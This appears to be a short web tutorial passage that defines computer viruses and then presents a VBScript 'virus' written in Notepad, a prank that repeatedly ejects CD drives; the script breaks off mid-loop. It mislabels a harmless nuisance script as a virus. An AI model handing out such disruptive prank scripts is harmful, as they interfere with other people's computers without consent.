A computer virus is a computer program that can copy itself and infect a computer. The term "virus" is also used to refer to other types of malware and programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when it's host is taken to the target computer.
Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer.
Do you know that we can make simple viruses by using Notepad? Notepad is a simple but very powerful tool to make viruses. Let us show you some viruses (developed on notepad).

Open Notepad and Type the following code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
